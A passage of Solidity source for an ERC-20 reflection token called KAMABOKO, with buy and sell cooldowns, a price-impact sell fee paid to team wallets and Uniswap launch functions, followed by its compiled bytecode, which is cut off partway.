mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"KAMABOKO" ;
string private constant _symbol = unicode"KAMABOKO";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(1)).div(10);
_teamFee = (_impactFee.mul(9)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 1;
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 10000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (240 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600881526020017f4b414d41424f4b4f000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4b414d41424f4b4f000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60016009819055506009600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960018461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660098461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828